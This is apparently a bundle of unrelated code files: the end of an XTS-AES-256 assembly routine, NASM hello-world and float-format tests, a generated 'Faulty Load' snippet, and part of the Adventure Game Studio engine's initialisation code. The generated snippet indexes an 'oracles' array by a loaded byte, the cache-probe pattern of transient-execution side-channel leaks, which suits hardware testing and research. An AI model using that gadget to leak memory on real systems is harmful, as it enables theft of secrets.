cmovc ghash_poly_8b_temp, ghash_poly_8b
xor twtempl, ghash_poly_8b_temp
mov [TW], twtempl
mov [TW + 8], twtemph
vmovdqa xmm0, [TW]
_steal_cipher:
; start cipher stealing simplified: xmm8 - last cipher block, xmm0 - next tweak
vmovdqa xmm2, xmm8
; shift xmm8 to the left by 16-N_val bytes
lea twtempl, [vpshufb_shf_table]
vmovdqu xmm10, [twtempl+N_val]
vpshufb xmm8, xmm10
vmovdqu xmm3, [ptr_plaintext - 16 + N_val]
vmovdqu [ptr_ciphertext - 16 + N_val], xmm8
; shift xmm3 to the right by 16-N_val bytes
lea twtempl, [vpshufb_shf_table +16]
sub twtempl, N_val
vmovdqu xmm10, [twtempl]
vpxor xmm10, [mask1]
vpshufb xmm3, xmm10
vpblendvb xmm3, xmm3, xmm2, xmm10
; xor Tweak value
vpxor xmm8, xmm3, xmm0
;encrypt last block with cipher stealing
vpxor xmm8, [keys] ; ARK
vaesenc xmm8, [keys + 16*1] ; round 1
vaesenc xmm8, [keys + 16*2] ; round 2
vaesenc xmm8, [keys + 16*3] ; round 3
vaesenc xmm8, [keys + 16*4] ; round 4
vaesenc xmm8, [keys + 16*5] ; round 5
vaesenc xmm8, [keys + 16*6] ; round 6
vaesenc xmm8, [keys + 16*7] ; round 7
vaesenc xmm8, [keys + 16*8] ; round 8
vaesenc xmm8, [keys + 16*9] ; round 9
vaesenc xmm8, [keys + 16*10] ; round 9
vaesenc xmm8, [keys + 16*11] ; round 9
vaesenc xmm8, [keys + 16*12] ; round 9
vaesenc xmm8, [keys + 16*13] ; round 9
vaesenclast xmm8, [keys + 16*14] ; round 10
; xor Tweak value
vpxor xmm8, xmm8, xmm0
; store last ciphertext value
vmovdqu [ptr_ciphertext - 16], xmm8
_ret_:
mov rbx, [_gpr + 8*0]
%ifidn __OUTPUT_FORMAT__, win64
mov rdi, [_gpr + 8*1]
mov rsi, [_gpr + 8*2]
vmovdqa xmm6, [_xmm + 16*0]
vmovdqa xmm7, [_xmm + 16*1]
vmovdqa xmm8, [_xmm + 16*2]
vmovdqa xmm9, [_xmm + 16*3]
vmovdqa xmm10, [_xmm + 16*4]
vmovdqa xmm11, [_xmm + 16*5]
vmovdqa xmm12, [_xmm + 16*6]
vmovdqa xmm13, [_xmm + 16*7]
vmovdqa xmm14, [_xmm + 16*8]
vmovdqa xmm15, [_xmm + 16*9]
%endif
%ifndef ALIGN_STACK
add rsp, VARIABLE_OFFSET
%else
mov rsp, rbp
pop rbp
%endif
ret
_less_than_128_bytes:
cmp N_val, 16
jb _ret_
mov tmp1, N_val
and tmp1, (7 << 4)
cmp tmp1, (6 << 4)
je _num_blocks_is_6
cmp tmp1, (5 << 4)
je _num_blocks_is_5
cmp tmp1, (4 << 4)
je _num_blocks_is_4
cmp tmp1, (3 << 4)
je _num_blocks_is_3
cmp tmp1, (2 << 4)
je _num_blocks_is_2
cmp tmp1, (1 << 4)
je _num_blocks_is_1
_num_blocks_is_7:
initialize xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, 7
add ptr_plaintext, 16*7
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 7, 1
; store ciphertext
vmovdqu [ptr_ciphertext+16*0], xmm1
vmovdqu [ptr_ciphertext+16*1], xmm2
vmovdqu [ptr_ciphertext+16*2], xmm3
vmovdqu [ptr_ciphertext+16*3], xmm4
vmovdqu [ptr_ciphertext+16*4], xmm5
vmovdqu [ptr_ciphertext+16*5], xmm6
vmovdqu [ptr_ciphertext+16*6], xmm7
add ptr_ciphertext, 16*7
vmovdqa xmm8, xmm7
and N_val, 15 ; N_val = N_val mod 16
je _ret_
jmp _steal_cipher_next
_num_blocks_is_6:
initialize xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, 6
add ptr_plaintext, 16*6
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 6, 1
; store ciphertext
vmovdqu [ptr_ciphertext+16*0], xmm1
vmovdqu [ptr_ciphertext+16*1], xmm2
vmovdqu [ptr_ciphertext+16*2], xmm3
vmovdqu [ptr_ciphertext+16*3], xmm4
vmovdqu [ptr_ciphertext+16*4], xmm5
vmovdqu [ptr_ciphertext+16*5], xmm6
add ptr_ciphertext, 16*6
vmovdqa xmm8, xmm6
and N_val, 15 ; N_val = N_val mod 16
je _ret_
jmp _steal_cipher_next
_num_blocks_is_5:
initialize xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, 5
add ptr_plaintext, 16*5
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 5, 1
; store ciphertext
vmovdqu [ptr_ciphertext+16*0], xmm1
vmovdqu [ptr_ciphertext+16*1], xmm2
vmovdqu [ptr_ciphertext+16*2], xmm3
vmovdqu [ptr_ciphertext+16*3], xmm4
vmovdqu [ptr_ciphertext+16*4], xmm5
add ptr_ciphertext, 16*5
vmovdqa xmm8, xmm5
and N_val, 15 ; N_val = N_val mod 16
je _ret_
jmp _steal_cipher_next
_num_blocks_is_4:
initialize xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, 4
add ptr_plaintext, 16*4
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 4, 1
; store ciphertext
vmovdqu [ptr_ciphertext+16*0], xmm1
vmovdqu [ptr_ciphertext+16*1], xmm2
vmovdqu [ptr_ciphertext+16*2], xmm3
vmovdqu [ptr_ciphertext+16*3], xmm4
add ptr_ciphertext, 16*4
vmovdqa xmm8, xmm4
and N_val, 15 ; N_val = N_val mod 16
je _ret_
jmp _steal_cipher_next
_num_blocks_is_3:
initialize xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, 3
add ptr_plaintext, 16*3
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 3, 1
; store ciphertext
vmovdqu [ptr_ciphertext+16*0], xmm1
vmovdqu [ptr_ciphertext+16*1], xmm2
vmovdqu [ptr_ciphertext+16*2], xmm3
add ptr_ciphertext, 16*3
vmovdqa xmm8, xmm3
and N_val, 15 ; N_val = N_val mod 16
je _ret_
jmp _steal_cipher_next
_num_blocks_is_2:
initialize xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, 2
add ptr_plaintext, 16*2
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 2, 1
; store ciphertext
vmovdqu [ptr_ciphertext], xmm1
vmovdqu [ptr_ciphertext+16], xmm2
add ptr_ciphertext, 16*2
vmovdqa xmm8, xmm2
and N_val, 15 ; N_val = N_val mod 16
je _ret_
jmp _steal_cipher_next
_num_blocks_is_1:
initialize xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, 1
add ptr_plaintext, 16*1
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 1, 1
vmovdqu [ptr_ciphertext], xmm1
add ptr_ciphertext, 16*1
vmovdqa xmm8, xmm1
and N_val, 15 ; N_val = N_val mod 16
je _ret_
jmp _steal_cipher_next
section .data
align 16
vpshufb_shf_table:
; use these values for shift constants for the vpshufb instruction
; different alignments result in values as shown:
; dq 0x8887868584838281, 0x008f8e8d8c8b8a89 ; shl 15 (16-1) / shr1
; dq 0x8988878685848382, 0x01008f8e8d8c8b8a ; shl 14 (16-3) / shr2
; dq 0x8a89888786858483, 0x0201008f8e8d8c8b ; shl 13 (16-4) / shr3
; dq 0x8b8a898887868584, 0x030201008f8e8d8c ; shl 12 (16-4) / shr4
; dq 0x8c8b8a8988878685, 0x04030201008f8e8d ; shl 11 (16-5) / shr5
; dq 0x8d8c8b8a89888786, 0x0504030201008f8e ; shl 10 (16-6) / shr6
; dq 0x8e8d8c8b8a898887, 0x060504030201008f ; shl 9 (16-7) / shr7
; dq 0x8f8e8d8c8b8a8988, 0x0706050403020100 ; shl 8 (16-8) / shr8
; dq 0x008f8e8d8c8b8a89, 0x0807060504030201 ; shl 7 (16-9) / shr9
; dq 0x01008f8e8d8c8b8a, 0x0908070605040302 ; shl 6 (16-10) / shr10
; dq 0x0201008f8e8d8c8b, 0x0a09080706050403 ; shl 5 (16-11) / shr11
; dq 0x030201008f8e8d8c, 0x0b0a090807060504 ; shl 4 (16-12) / shr12
; dq 0x04030201008f8e8d, 0x0c0b0a0908070605 ; shl 3 (16-13) / shr13
; dq 0x0504030201008f8e, 0x0d0c0b0a09080706 ; shl 2 (16-14) / shr14
; dq 0x060504030201008f, 0x0e0d0c0b0a090807 ; shl 1 (16-15) / shr15
dq 0x8786858483828100, 0x8f8e8d8c8b8a8988
dq 0x0706050403020100, 0x000e0d0c0b0a0908
mask1:
dq 0x8080808080808080, 0x8080808080808080
const_dq3210: dq 0, 0, 1, 1, 2, 2, 3, 3
const_dq5678: dq 8, 8, 7, 7, 6, 6, 5, 5
const_dq7654: dq 4, 4, 5, 5, 6, 6, 7, 7
const_dq1234: dq 4, 4, 3, 3, 2, 2, 1, 1
shufb_15_7: db 15, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 7, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
%else ; Assembler doesn't understand these opcodes. Add empty symbol for windows.
%ifidn __OUTPUT_FORMAT__, win64
global no_XTS_AES_256_enc_expanded_key_vaes
no_XTS_AES_256_enc_expanded_key_vaes:
%endif
%endif ; (AS_FEATURE_LEVEL) >= 10
|
BITS 64
EXTERN _printf
GLOBAL entrypoint
SECTION .data
msg: db "Hello world", 10
SECTION .text
entrypoint:
push rbx
lea rdi, [rel msg]
call _printf
pop rbx
ret
mov rax, 0x02000001
xor rdi, rdi
syscall
|
;
; Test of floating-point formats
;
; 8-bit
db 1.0
db +1.0
db -1.0
db 1.5
db +1.5
db -1.5
db 0.0
db +0.0
db -0.0
db 1.83203125
db +1.83203125
db -1.83203125
db 1.83203125e1
db +1.83203125e1
db -1.83203125e1
db 1.83203125e-1
db +1.83203125e-1
db -1.83203125e-1
db 1.13203125e-2 ; Denormal!
db +1.13203125e-2 ; Denormal!
db -1.13203125e-2 ; Denormal!
db __Infinity__
db +__Infinity__
db -__Infinity__
db __NaN__
db __QNaN__
db __SNaN__
db 3.1415926535_8979323846_2643383279_5028841971_6939937510_5
; 16-bit
dw 1.0
dw +1.0
dw -1.0
dw 1.5
dw +1.5
dw -1.5
dw 0.0
dw +0.0
dw -0.0
dw 1.83203125
dw +1.83203125
dw -1.83203125
dw 1.83203125e3
dw +1.83203125e3
dw -1.83203125e3
dw 1.83203125e-3
dw +1.83203125e-3
dw -1.83203125e-3
dw 1.83203125e-6 ; Denormal!
dw +1.83203125e-6 ; Denormal!
dw -1.83203125e-6 ; Denormal!
dw __Infinity__
dw +__Infinity__
dw -__Infinity__
dw __NaN__
dw __QNaN__
dw __SNaN__
dw 3.1415926535_8979323846_2643383279_5028841971_6939937510_5
; 32-bit
dd 1.0
dd +1.0
dd -1.0
dd 1.5
dd +1.5
dd -1.5
dd 0.0
dd +0.0
dd -0.0
dd 1.83203125
dd +1.83203125
dd -1.83203125
dd 1.83203125e15
dd +1.83203125e15
dd -1.83203125e15
dd 1.83203125e-15
dd +1.83203125e-15
dd -1.83203125e-15
dd 1.83203125e-40 ; Denormal!
dd +1.83203125e-40 ; Denormal!
dd -1.83203125e-40 ; Denormal!
dd __Infinity__
dd +__Infinity__
dd -__Infinity__
dd __NaN__
dd __QNaN__
dd __SNaN__
dd 3.1415926535_8979323846_2643383279_5028841971_6939937510_5
; 64-bit
dq 1.0
dq +1.0
dq -1.0
dq 1.5
dq +1.5
dq -1.5
dq 0.0
dq +0.0
dq -0.0
dq 1.83203125
dq +1.83203125
dq -1.83203125
dq 1.83203125e300
dq +1.83203125e300
dq -1.83203125e300
dq 1.83203125e-300
dq +1.83203125e-300
dq -1.83203125e-300
dq 1.83203125e-320 ; Denormal!
dq +1.83203125e-320 ; Denormal!
dq -1.83203125e-320 ; Denormal!
dq __Infinity__
dq +__Infinity__
dq -__Infinity__
dq __NaN__
dq __QNaN__
dq __SNaN__
dq 3.1415926535_8979323846_2643383279_5028841971_6939937510_5
; 80-bit
dt 1.0
dt +1.0
dt -1.0
dt 1.5
dt +1.5
dt -1.5
dt 0.0
dt +0.0
dt -0.0
dt 1.83203125
dt +1.83203125
dt -1.83203125
dt 1.83203125e+4000
dt +1.83203125e+4000
dt -1.83203125e+4000
dt 1.83203125e-4000
dt +1.83203125e-4000
dt -1.83203125e-4000
dt 1.83203125e-4940 ; Denormal!
dt +1.83203125e-4940 ; Denormal!
dt -1.83203125e-4940 ; Denormal!
dt __Infinity__
dt +__Infinity__
dt -__Infinity__
dt __NaN__
dt __QNaN__
dt __SNaN__
dt 3.1415926535_8979323846_2643383279_5028841971_6939937510_5
; 128-bit
do 1.0
do +1.0
do -1.0
do 1.5
do +1.5
do -1.5
do 0.0
do +0.0
do -0.0
do 1.83203125
do +1.83203125
do -1.83203125
do 1.83203125e+4000
do +1.83203125e+4000
do -1.83203125e+4000
do 1.83203125e-4000
do +1.83203125e-4000
do -1.83203125e-4000
do 1.83203125e-4940 ; Denormal!
do +1.83203125e-4940 ; Denormal!
do -1.83203125e-4940 ; Denormal!
do __Infinity__
do +__Infinity__
do -__Infinity__
do __NaN__
do __QNaN__
do __SNaN__
do 3.1415926535_8979323846_2643383279_5028841971_6939937510_5
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x12b70, %r13
nop
and $55634, %r12
movb $0x61, (%r13)
nop
and %r12, %r12
lea addresses_A_ht+0x11218, %r14
nop
nop
nop
nop
cmp %rbx, %rbx
mov (%r14), %rdi
nop
nop
nop
dec %rdi
lea addresses_WC_ht+0x4210, %rdi
nop
nop
cmp $776, %rbx
movb (%rdi), %al
nop
nop
nop
nop
inc %rax
lea addresses_normal_ht+0x14c10, %r14
nop
nop
cmp $602, %rbx
vmovups (%r14), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %r12
nop
add $47185, %rbx
lea addresses_A_ht+0x13cbe, %rbx
clflush (%rbx)
nop
nop
nop
nop
nop
sub $45959, %r14
mov $0x6162636465666768, %rdi
movq %rdi, (%rbx)
dec %rax
lea addresses_A_ht+0x19e10, %rsi
lea addresses_UC_ht+0x4f10, %rdi
nop
nop
nop
nop
xor $35371, %rbx
mov $47, %rcx
rep movsl
and $22641, %r13
lea addresses_WT_ht+0x4610, %rax
add %rsi, %rsi
movl $0x61626364, (%rax)
nop
nop
nop
nop
and %r12, %r12
lea addresses_normal_ht+0xdcd0, %r13
nop
nop
nop
nop
nop
xor %r12, %r12
mov $0x6162636465666768, %rcx
movq %rcx, %xmm2
and $0xffffffffffffffc0, %r13
movntdq %xmm2, (%r13)
nop
nop
nop
nop
nop
and $26626, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %rax
push %rbx
push %rcx
push %rdx
// Faulty Load
lea addresses_US+0xce10, %rax
nop
nop
add $5765, %rcx
vmovups (%rax), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %r10
lea oracles, %rdx
and $0xff, %r10
shlq $12, %r10
mov (%rdx,%r10,1), %r10
pop %rdx
pop %rcx
pop %rbx
pop %rax
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 5, 'same': False}}
{'00': 79}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
//=============================================================================
//
// Adventure Game Studio (AGS)
//
// Copyright (C) 1999-2011 Chris Jones and 2011-20xx others
// The full list of copyright holders can be found in the Copyright.txt
// file, which is part of this source code distribution.
//
// The AGS source code is provided under the Artistic License 2.0.
// A copy of this license can be found in the file License.txt and at
// http://www.opensource.org/licenses/artistic-license-2.0.php
//
//=============================================================================
#include "ac/character.h"
#include "ac/charactercache.h"
#include "ac/dialog.h"
#include "ac/draw.h"
#include "ac/file.h"
#include "ac/game.h"
#include "ac/gamesetup.h"
#include "ac/gamesetupstruct.h"
#include "ac/gamestate.h"
#include "ac/gui.h"
#include "ac/movelist.h"
#include "ac/dynobj/all_dynamicclasses.h"
#include "ac/dynobj/all_scriptclasses.h"
#include "ac/statobj/agsstaticobject.h"
#include "ac/statobj/staticarray.h"
#include "debug/debug_log.h"
#include "debug/out.h"
#include "font/agsfontrenderer.h"
#include "font/fonts.h"
#include "game/game_init.h"
#include "gfx/bitmap.h"
#include "gfx/ddb.h"
#include "gui/guilabel.h"
#include "plugin/plugin_engine.h"
#include "script/cc_error.h"
#include "script/exports.h"
#include "script/script.h"
#include "script/script_runtime.h"
#include "util/string_utils.h"
#include "media/audio/audio_system.h"
using namespace Common;
using namespace Engine;
extern GameSetupStruct game;
extern int actSpsCount;
extern Bitmap **actsps;
extern IDriverDependantBitmap* *actspsbmp;
extern Bitmap **actspswb;
extern IDriverDependantBitmap* *actspswbbmp;
extern CachedActSpsData* actspswbcache;
extern CharacterCache *charcache;
extern CCGUIObject ccDynamicGUIObject;
extern CCCharacter ccDynamicCharacter;
extern CCHotspot ccDynamicHotspot;
extern CCRegion ccDynamicRegion;
extern CCInventory ccDynamicInv;
extern CCGUI ccDynamicGUI;
extern CCObject ccDynamicObject;
extern CCDialog ccDynamicDialog;
extern CCAudioChannel ccDynamicAudio;
extern CCAudioClip ccDynamicAudioClip;
extern ScriptString myScriptStringImpl;
extern ScriptObject scrObj[MAX_ROOM_OBJECTS];
extern ScriptGUI *scrGui;
extern ScriptHotspot scrHotspot[MAX_ROOM_HOTSPOTS];
extern ScriptRegion scrRegion[MAX_ROOM_REGIONS];
extern ScriptInvItem scrInv[MAX_INV];
extern ScriptAudioChannel scrAudioChannel[MAX_SOUND_CHANNELS + 1];
extern ScriptDialogOptionsRendering ccDialogOptionsRendering;
extern ScriptDrawingSurface* dialogOptionsRenderingSurface;
extern AGSStaticObject GlobalStaticManager;
extern StaticArray StaticCharacterArray;
extern StaticArray StaticObjectArray;
extern StaticArray StaticGUIArray;
extern StaticArray StaticHotspotArray;
extern StaticArray StaticRegionArray;
extern StaticArray StaticInventoryArray;
extern StaticArray StaticDialogArray;
extern std::vector<ccInstance *> moduleInst;
extern std::vector<ccInstance *> moduleInstFork;
extern std::vector<RuntimeScriptValue> moduleRepExecAddr;
StaticArray StaticCharacterArray;
StaticArray StaticObjectArray;
StaticArray StaticGUIArray;
StaticArray StaticHotspotArray;
StaticArray StaticRegionArray;
StaticArray StaticInventoryArray;
StaticArray StaticDialogArray;
namespace AGS
{
namespace Engine
{
String GetGameInitErrorText(GameInitErrorType err)
{
switch (err)
{
case kGameInitErr_NoError:
return "No error.";
case kGameInitErr_NoFonts:
return "No fonts specified to be used in this game.";
case kGameInitErr_TooManyAudioTypes:
return "Too many audio types for this engine to handle.";
case kGameInitErr_EntityInitFail:
return "Failed to initialize game entities.";
case kGameInitErr_TooManyPlugins:
return "Too many plugins for this engine to handle.";
case kGameInitErr_PluginNameInvalid:
return "Plugin name is invalid.";
case kGameInitErr_ScriptLinkFailed:
return "Script link failed.";
}
return "Unknown error.";
}
// Initializes audio channels and clips and registers them in the script system
void InitAndRegisterAudioObjects()
{
for (int i = 0; i <= MAX_SOUND_CHANNELS; ++i)
{
scrAudioChannel[i].id = i;
ccRegisterManagedObject(&scrAudioChannel[i], &ccDynamicAudio);
}
for (size_t i = 0; i < game.audioClips.size(); ++i)
{
// Note that as of 3.5.0 data format the clip IDs are still restricted
// to actual item index in array, so we don't make any difference
// between game versions, for now.
game.audioClips[i].id = i;
ccRegisterManagedObject(&game.audioClips[i], &ccDynamicAudioClip);
ccAddExternalDynamicObject(game.audioClips[i].scriptName, &game.audioClips[i], &ccDynamicAudioClip);
}
}
// Initializes characters and registers them in the script system
void InitAndRegisterCharacters()
{
characterScriptObjNames.resize(game.numcharacters);
for (int i = 0; i < game.numcharacters; ++i)
{
game.chars[i].walking = 0;
game.chars[i].animating = 0;
game.chars[i].pic_xoffs = 0;
game.chars[i].pic_yoffs = 0;
game.chars[i].blinkinterval = 140;
game.chars[i].blinktimer = game.chars[i].blinkinterval;
game.chars[i].index_id = i;
game.chars[i].blocking_width = 0;
game.chars[i].blocking_height = 0;
game.chars[i].prevroom = -1;
game.chars[i].loop = 0;
game.chars[i].frame = 0;
game.chars[i].walkwait = -1;
ccRegisterManagedObject(&game.chars[i], &ccDynamicCharacter);
// export the character's script object
characterScriptObjNames[i] = game.chars[i].scrname;
ccAddExternalDynamicObject(characterScriptObjNames[i], &game.chars[i], &ccDynamicCharacter);
}
}
// Initializes dialog and registers them in the script system
void InitAndRegisterDialogs()
{
scrDialog = new ScriptDialog[game.numdialog];
for (int i = 0; i < game.numdialog; ++i)
{
scrDialog[i].id = i;
scrDialog[i].reserved = 0;
ccRegisterManagedObject(&scrDialog[i], &ccDynamicDialog);
if (!game.dialogScriptNames[i].IsEmpty())
ccAddExternalDynamicObject(game.dialogScriptNames[i], &scrDialog[i], &ccDynamicDialog);
}
}
// Initializes dialog options rendering objects and registers them in the script system
void InitAndRegisterDialogOptions()
{
ccRegisterManagedObject(&ccDialogOptionsRendering, &ccDialogOptionsRendering);
dialogOptionsRenderingSurface = new ScriptDrawingSurface();
dialogOptionsRenderingSurface->isLinkedBitmapOnly = true;
long dorsHandle = ccRegisterManagedObject(dialogOptionsRenderingSurface, dialogOptionsRenderingSurface);
ccAddObjectReference(dorsHandle);
}
// Initializes gui and registers them in the script system
HError InitAndRegisterGUI()
{
scrGui = (ScriptGUI*)malloc(sizeof(ScriptGUI) * game.numgui);
for (int i = 0; i < game.numgui; ++i)
{
scrGui[i].id = -1;
}
guiScriptObjNames.resize(game.numgui);
for (int i = 0; i < game.numgui; ++i)
{
// link controls to their parent guis
HError err = guis[i].RebuildArray();
if (!err)
return err;
// export all the GUI's controls
export_gui_controls(i);
// copy the script name to its own memory location
// because ccAddExtSymbol only keeps a reference
guiScriptObjNames[i] = guis[i].Name;
scrGui[i].id = i;
ccAddExternalDynamicObject(guiScriptObjNames[i], &scrGui[i], &ccDynamicGUI);
ccRegisterManagedObject(&scrGui[i], &ccDynamicGUI);
}
return HError::None();
}
// Initializes inventory items and registers them in the script system
void InitAndRegisterInvItems()
{
for (int i = 0; i < MAX_INV; ++i)
{
scrInv[i].id = i;
scrInv[i].reserved = 0;
ccRegisterManagedObject(&scrInv[i], &ccDynamicInv);
if (!game.invScriptNames[i].IsEmpty())
ccAddExternalDynamicObject(game.invScriptNames[i], &scrInv[i], &ccDynamicInv);
}
}
// Initializes room hotspots and registers them in the script system
void InitAndRegisterHotspots()
{
for (int i = 0; i < MAX_ROOM_HOTSPOTS; ++i)
{
scrHotspot[i].id = i;
scrHotspot[i].reserved = 0;
ccRegisterManagedObject(&scrHotspot[i], &ccDynamicHotspot);
}
}
// Initializes room objects and registers them in the script system
void InitAndRegisterRoomObjects()
{
for (int i = 0; i < MAX_ROOM_OBJECTS; ++i)
{
ccRegisterManagedObject(&scrObj[i], &ccDynamicObject);
}
}
// Initializes room regions and registers them in the script system
void InitAndRegisterRegions()
{
for (int i = 0; i < MAX_ROOM_REGIONS; ++i)
{
scrRegion[i].id = i;
scrRegion[i].reserved = 0;
ccRegisterManagedObject(&scrRegion[i], &ccDynamicRegion);
}
}
// Registers static entity arrays in the script system
void RegisterStaticArrays()
{
// We need to know sizes of related script structs to convert memory offsets into object indexes.
// These sized are calculated by the compiler based on script struct declaration.
// Note, that only regular variables count to the struct size, NOT properties and NOT methods.
// Currently there is no way to read the type sizes from script, so we have to define them by hand.
// If the struct size changes in script, we must change the numbers here.
// If we are going to support multiple different versions of same struct, then the "script size"
// should be chosen depending on the script api version.
const int charScriptSize = sizeof(int32_t) * 28 + sizeof(int16_t) * MAX_INV + sizeof(int32_t) + 61
+ 1; // + 1 for mem align
const int dummyScriptSize = sizeof(int32_t) * 2; // 32-bit id + reserved int32
// The current implementation of the StaticArray assumes we are dealing with regular C-arrays.
// Therefore we need to know real struct size too. If we will change to std containers, then
// (templated) telling real size will no longer be necessary.
StaticCharacterArray.Create(&ccDynamicCharacter, charScriptSize, sizeof(CharacterInfo));
StaticObjectArray.Create(&ccDynamicObject, dummyScriptSize, sizeof(ScriptObject));
StaticGUIArray.Create(&ccDynamicGUI, dummyScriptSize, sizeof(ScriptGUI));
StaticHotspotArray.Create(&ccDynamicHotspot, dummyScriptSize, sizeof(ScriptHotspot));
StaticRegionArray.Create(&ccDynamicRegion, dummyScriptSize, sizeof(ScriptRegion));
StaticInventoryArray.Create(&ccDynamicInv, dummyScriptSize, sizeof(ScriptInvItem));
StaticDialogArray.Create(&ccDynamicDialog, dummyScriptSize, sizeof(ScriptDialog));
ccAddExternalStaticArray("character",&game.chars[0], &StaticCharacterArray);
ccAddExternalStaticArray("object",&scrObj[0], &StaticObjectArray);
ccAddExternalStaticArray("gui",&scrGui[0], &StaticGUIArray);
ccAddExternalStaticArray("hotspot",&scrHotspot[0], &StaticHotspotArray);
ccAddExternalStaticArray("region",&scrRegion[0], &StaticRegionArray);
ccAddExternalStaticArray("inventory",&scrInv[0], &StaticInventoryArray);
ccAddExternalStaticArray("dialog", &scrDialog[0], &StaticDialogArray);
}
// Initializes various game entities and registers them in the script system
HError InitAndRegisterGameEntities()
{
InitAndRegisterAudioObjects();
InitAndRegisterCharacters();
InitAndRegisterDialogs();
InitAndRegisterDialogOptions();
HError err = InitAndRegisterGUI();
if (!err)
return err;
InitAndRegisterInvItems();
InitAndRegisterHotspots();
InitAndRegisterRegions();
InitAndRegisterRoomObjects();
play.CreatePrimaryViewportAndCamera();
RegisterStaticArrays();
setup_player_character(game.playercharacter);
ccAddExternalStaticObject("player", &_sc_PlayerCharPtr, &GlobalStaticManager);
return HError::None();
}
void LoadFonts(GameDataVersion data_ver)
{
for (int i = 0; i < game.numfonts; ++i)
{
if (!wloadfont_size(i, game.fonts[i]))
// CLNUP decide what to do about arbitrary font scaling, might become an option
/*
*/
quitprintf("Unable to load font %d, no renderer could load a matching file", i);
}
}
void AllocScriptModules()
{
moduleInst.resize(numScriptModules, nullptr);
moduleInstFork.resize(numScriptModules, nullptr);
moduleRepExecAddr.resize(numScriptModules);
repExecAlways.moduleHasFunction.resize(numScriptModules, true);
lateRepExecAlways.moduleHasFunction.resize(numScriptModules, true);
getDialogOptionsDimensionsFunc.moduleHasFunction.resize(numScriptModules, true);
renderDialogOptionsFunc.moduleHasFunction.resize(numScriptModules, true);
getDialogOptionUnderCursorFunc.moduleHasFunction.resize(numScriptModules, true);
runDialogOptionMouseClickHandlerFunc.moduleHasFunction.resize(numScriptModules, true);
runDialogOptionKeyPressHandlerFunc.moduleHasFunction.resize(numScriptModules, true);
